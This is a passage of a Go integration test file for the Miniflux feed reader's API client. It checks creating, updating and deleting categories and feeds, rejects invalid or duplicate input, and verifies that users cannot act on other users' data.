miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tadminUser, err := adminClient.Me()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\tif err := regularUserClient.MarkAllAsRead(adminUser.ID); err == nil {\n\t\tt.Fatalf(`Non-admin users should not be able to mark another user as read`)\n\t}\n}\n\nfunc TestCreateCategoryEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tcategoryName := \"My category\"\n\tcategory, err := regularUserClient.CreateCategory(categoryName)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif category.ID == 0 {\n\t\tt.Errorf(`Invalid categoryID, got \"%v\"`, category.ID)\n\t}\n\n\tif category.UserID <= 0 {\n\t\tt.Errorf(`Invalid userID, got \"%v\"`, category.UserID)\n\t}\n\n\tif category.Title != categoryName {\n\t\tt.Errorf(`Invalid title, got \"%v\" instead of \"%v\"`, category.Title, categoryName)\n\t}\n\n\tif category.HideGlobally {\n\t\tt.Errorf(`Invalid hide globally value, got \"%v\"`, category.HideGlobally)\n\t}\n}\n\nfunc TestCreateCategoryWithEmptyTitle(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\t_, err := client.CreateCategory(\"\")\n\tif err == nil {\n\t\tt.Fatalf(`Creating a category with an empty title should raise an error`)\n\t}\n}\n\nfunc TestCannotCreateDuplicatedCategory(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\tcategoryName := \"My category\"\n\n\tif _, err := regularUserClient.CreateCategory(categoryName); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif _, err = regularUserClient.CreateCategory(categoryName); err == nil {\n\t\tt.Fatalf(`Duplicated categories should not be allowed`)\n\t}\n}\n\nfunc TestCreateCategoryWithOptions(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tnewCategory, err := regularUserClient.CreateCategoryWithOptions(&miniflux.CategoryCreationRequest{\n\t\tTitle:        \"My category\",\n\t\tHideGlobally: true,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(`Creating a category with options should not raise an error: %v`, err)\n\t}\n\n\tcategories, err := regularUserClient.Categories()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfor _, category := range categories {\n\t\tif category.ID == newCategory.ID {\n\t\t\tif category.Title != newCategory.Title {\n\t\t\t\tt.Errorf(`Invalid title, got %q instead of %q`, category.Title, newCategory.Title)\n\t\t\t}\n\t\t\tif category.HideGlobally != true {\n\t\t\t\tt.Errorf(`Invalid hide globally value, got \"%v\"`, category.HideGlobally)\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n}\n\nfunc TestUpdateCategoryEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tcategoryName := \"My category\"\n\tcategory, err := regularUserClient.CreateCategory(categoryName)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tupdatedCategory, err := regularUserClient.UpdateCategory(category.ID, \"new title\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedCategory.ID != category.ID {\n\t\tt.Errorf(`Invalid categoryID, got \"%v\"`, updatedCategory.ID)\n\t}\n\n\tif updatedCategory.UserID != regularTestUser.ID {\n\t\tt.Errorf(`Invalid userID, got \"%v\"`, updatedCategory.UserID)\n\t}\n\n\tif updatedCategory.Title != \"new title\" {\n\t\tt.Errorf(`Invalid title, got \"%v\" instead of \"%v\"`, updatedCategory.Title, \"new title\")\n\t}\n\n\tif updatedCategory.HideGlobally {\n\t\tt.Errorf(`Invalid hide globally value, got \"%v\"`, updatedCategory.HideGlobally)\n\t}\n}\n\nfunc TestUpdateCategoryWithOptions(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tnewCategory, err := regularUserClient.CreateCategoryWithOptions(&miniflux.CategoryCreationRequest{\n\t\tTitle: \"My category\",\n\t})\n\tif err != nil {\n\t\tt.Fatalf(`Creating a category with options should not raise an error: %v`, err)\n\t}\n\n\tupdatedCategory, err := regularUserClient.UpdateCategoryWithOptions(newCategory.ID, &miniflux.CategoryModificationRequest{\n\t\tTitle: new(\"new title\"),\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedCategory.ID != newCategory.ID {\n\t\tt.Errorf(`Invalid categoryID, got \"%v\"`, updatedCategory.ID)\n\t}\n\n\tif updatedCategory.Title != \"new title\" {\n\t\tt.Errorf(`Invalid title, got \"%v\" instead of \"%v\"`, updatedCategory.Title, \"new title\")\n\t}\n\n\tif updatedCategory.HideGlobally {\n\t\tt.Errorf(`Invalid hide globally value, got \"%v\"`, updatedCategory.HideGlobally)\n\t}\n\n\tupdatedCategory, err = regularUserClient.UpdateCategoryWithOptions(newCategory.ID, &miniflux.CategoryModificationRequest{\n\t\tHideGlobally: new(true),\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedCategory.ID != newCategory.ID {\n\t\tt.Errorf(`Invalid categoryID, got \"%v\"`, updatedCategory.ID)\n\t}\n\n\tif updatedCategory.Title != \"new title\" {\n\t\tt.Errorf(`Invalid title, got \"%v\" instead of \"%v\"`, updatedCategory.Title, \"new title\")\n\t}\n\n\tif !updatedCategory.HideGlobally {\n\t\tt.Errorf(`Invalid hide globally value, got \"%v\"`, updatedCategory.HideGlobally)\n\t}\n\n\tupdatedCategory, err = regularUserClient.UpdateCategoryWithOptions(newCategory.ID, &miniflux.CategoryModificationRequest{\n\t\tHideGlobally: new(false),\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedCategory.ID != newCategory.ID {\n\t\tt.Errorf(`Invalid categoryID, got %d`, updatedCategory.ID)\n\t}\n\n\tif updatedCategory.Title != \"new title\" {\n\t\tt.Errorf(`Invalid title, got %q instead of %q`, updatedCategory.Title, \"new title\")\n\t}\n\n\tif updatedCategory.HideGlobally {\n\t\tt.Errorf(`Invalid hide globally value, got \"%v\"`, updatedCategory.HideGlobally)\n\t}\n}\n\nfunc TestUpdateInexistingCategory(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\t_, err := client.UpdateCategory(123456789, \"new title\")\n\tif err == nil {\n\t\tt.Fatalf(`Updating an inexisting category should raise an error`)\n\t}\n}\nfunc TestDeleteCategoryEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tcategoryName := \"My category\"\n\tcategory, err := regularUserClient.CreateCategory(categoryName)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := regularUserClient.DeleteCategory(category.ID); err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestCannotDeleteInexistingCategory(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\terr := client.DeleteCategory(123456789)\n\tif err == nil {\n\t\tt.Fatalf(`Deleting an inexisting category should raise an error`)\n\t}\n}\n\nfunc TestCannotDeleteCategoryOfAnotherUser(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tcategory, err := regularUserClient.CreateCategory(\"My category\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\terr = adminClient.DeleteCategory(category.ID)\n\tif err == nil {\n\t\tt.Fatalf(`Regular users should not be able to delete categories of other users`)\n\t}\n}\n\nfunc TestGetCategoriesEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tcategory, err := regularUserClient.CreateCategory(\"My category\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tcategories, err := regularUserClient.Categories()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(categories) != 2 {\n\t\tt.Fatalf(`Invalid number of categories, got %d instead of %d`, len(categories), 1)\n\t}\n\n\tif categories[0].UserID != regularTestUser.ID {\n\t\tt.Fatalf(`Invalid userID, got %d`, categories[0].UserID)\n\t}\n\n\tif categories[0].Title != \"All\" {\n\t\tt.Fatalf(`Invalid title, got %q instead of %q`, categories[0].Title, \"All\")\n\t}\n\n\tif categories[0].FeedCount != nil {\n\t\tt.Errorf(`Expected FeedCount to be nil, got %d`, *categories[0].FeedCount)\n\t}\n\n\tif categories[0].TotalUnread != nil {\n\t\tt.Errorf(`Expected TotalUnread to be nil, got %d`, *categories[0].TotalUnread)\n\t}\n\n\tif categories[1].ID != category.ID {\n\t\tt.Fatalf(`Invalid categoryID, got %d`, categories[0].ID)\n\t}\n\n\tif categories[1].UserID != regularTestUser.ID {\n\t\tt.Fatalf(`Invalid userID, got %d`, categories[0].UserID)\n\t}\n\n\tif categories[1].Title != \"My category\" {\n\t\tt.Fatalf(`Invalid title, got %q instead of %q`, categories[0].Title, \"My category\")\n\t}\n\n\tif categories[1].FeedCount != nil {\n\t\tt.Errorf(`Expected FeedCount to be nil, got %d`, *categories[1].FeedCount)\n\t}\n\n\tif categories[1].TotalUnread != nil {\n\t\tt.Errorf(`Expected TotalUnread to be nil, got %d`, *categories[1].TotalUnread)\n\t}\n\n\tcategories, err = regularUserClient.CategoriesWithCounters()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(categories) != 2 {\n\t\tt.Fatalf(`Invalid number of categories, got %d instead of %d`, len(categories), 1)\n\t}\n\n\tif categories[1].FeedCount == nil {\n\t\tt.Fatalf(`Expected FeedCount to be not nil`)\n\t}\n\n\tif categories[1].TotalUnread == nil {\n\t\tt.Fatalf(`Expected TotalUnread to be not nil`)\n\t}\n\n\texpectedCounterValue := 0\n\tif *categories[1].FeedCount != expectedCounterValue {\n\t\tt.Errorf(`Expected FeedCount to be %d, got %d`, expectedCounterValue, *categories[1].FeedCount)\n\t}\n\n\tif *categories[1].TotalUnread != expectedCounterValue {\n\t\tt.Errorf(`Expected TotalUnread to be %d, got %d`, expectedCounterValue, *categories[1].TotalUnread)\n\t}\n}\n\nfunc TestMarkCategoryAsReadEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\tcategory, err := regularUserClient.CreateCategory(\"My category\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL:    testConfig.testFeedURL,\n\t\tCategoryID: category.ID,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := regularUserClient.MarkCategoryAsRead(category.ID); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresults, err := regularUserClient.FeedEntries(feedID, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfor _, entry := range results.Entries {\n\t\tif entry.Status != miniflux.EntryStatusRead {\n\t\t\tt.Errorf(`Status for entry %d was %q instead of %q`, entry.ID, entry.Status, miniflux.EntryStatusRead)\n\t\t}\n\t}\n}\n\nfunc TestCreateFeedEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\tcategory, err := regularUserClient.CreateCategory(\"My category\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL:    testConfig.testFeedURL,\n\t\tCategoryID: category.ID,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feedID == 0 {\n\t\tt.Errorf(`Invalid feedID, got \"%v\"`, feedID)\n\t}\n}\n\nfunc TestCannotCreateDuplicatedFeed(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feedID == 0 {\n\t\tt.Fatalf(`Invalid feedID, got \"%v\"`, feedID)\n\t}\n\n\t_, err = regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err == nil {\n\t\tt.Fatalf(`Duplicated feeds should not be allowed`)\n\t}\n}\n\nfunc TestCreateFeedWithInexistingCategory(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\t_, err = regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL:    testConfig.testFeedURL,\n\t\tCategoryID: 123456789,\n\t})\n\n\tif err == nil {\n\t\tt.Fatalf(`Creating a feed with an inexisting category should raise an error`)\n\t}\n}\n\nfunc TestCreateFeedWithEmptyFeedURL(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\t_, err := client.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: \"\",\n\t})\n\tif err == nil {\n\t\tt.Fatalf(`Creating a feed with an empty feed URL should raise an error`)\n\t}\n}\n\nfunc TestCreateFeedWithInvalidFeedURL(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\t_, err := client.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: \"invalid_feed_url\",\n\t})\n\tif err == nil {\n\t\tt.Fatalf(`Creating a feed with an invalid feed URL should raise an error`)\n\t}\n}\n\nfunc TestCreateDisabledFeed(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL:  testConfig.testFeedURL,\n\t\tDisabled: true,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeed, err := regularUserClient.Feed(feedID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif !feed.Disabled {\n\t\tt.Fatalf(`The feed should be disabled`)\n\t}\n}\n\nfunc TestCreateFeedWithDisabledHTTPCache(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL:         testConfig.testFeedURL,\n\t\tIgnoreHTTPCache: true,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeed, err := regularUserClient.Feed(feedID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif !feed.IgnoreHTTPCache {\n\t\tt.Fatalf(`The feed should ignore the HTTP cache`)\n\t}\n}\n\nfunc TestCreateFeedWithScraperRule(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL:      testConfig.testFeedURL,\n\t\tScraperRules: \"article\",\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeed, err := regularUserClient.Feed(feedID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.ScraperRules != \"article\" {\n\t\tt.Fatalf(`The feed should have the scraper rules set to \"article\"`)\n\t}\n}\n\nfunc TestUpdateFeedEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedUpdateRequest := &miniflux.FeedModificationRequest{\n\t\tFeedURL: new(\"https://example.org/feed.xml\"),\n\t}\n\n\tupdatedFeed, err := regularUserClient.UpdateFeed(feedID, feedUpdateRequest)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedFeed.FeedURL != \"https://example.org/feed.xml\" {\n\t\tt.Fatalf(`Invalid feed URL, got \"%v\"`, updatedFeed.FeedURL)\n\t}\n}\n\nfunc TestCannotHaveDuplicateFeedWhenUpdatingFeed(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tif _, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{FeedURL: testConfig.testFeedURL}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: \"https://github.com/miniflux/v2/commits.atom\",\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedUpdateRequest := &miniflux.FeedModificationRequest{\n\t\tFeedURL: new(testConfig.testFeedURL),\n\t}\n\n\tif _, err := regularUserClient.UpdateFeed(feedID, feedUpdateRequest); err == nil {\n\t\tt.Fatalf(`Duplicated feeds should not be allowed`)\n\t}\n}\n\nfunc TestUpdateFeedWithInvalidCategory(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedUpdateRequest := &miniflux.FeedModificationRequest{\n\t\tCategoryID: new(int64(123456789)),\n\t}\n\n\tif _, err := regularUserClient.UpdateFeed(feedID, feedUpdateRequest); err == nil {\n\t\tt.Fatalf(`Updating a feed with an inexisting category should raise an error`)\n\t}\n}\n\nfunc TestMarkFeedAsReadEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := regularUserClient.MarkFeedAsRead(feedID); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresults, err := regularUserClient.FeedEntries(feedID, nil)\n\tif err != nil {\n\t\tt.Fatalf(`Failed to get updated entries: %v`, err)\n\t}\n\n\tfor _, entry := range results.Entries {\n\t\tif entry.Status != miniflux.EntryStatusRead {\n\t\t\tt.Errorf(`Status for entry %d was %q instead of %q`, entry.ID, entry.Status, 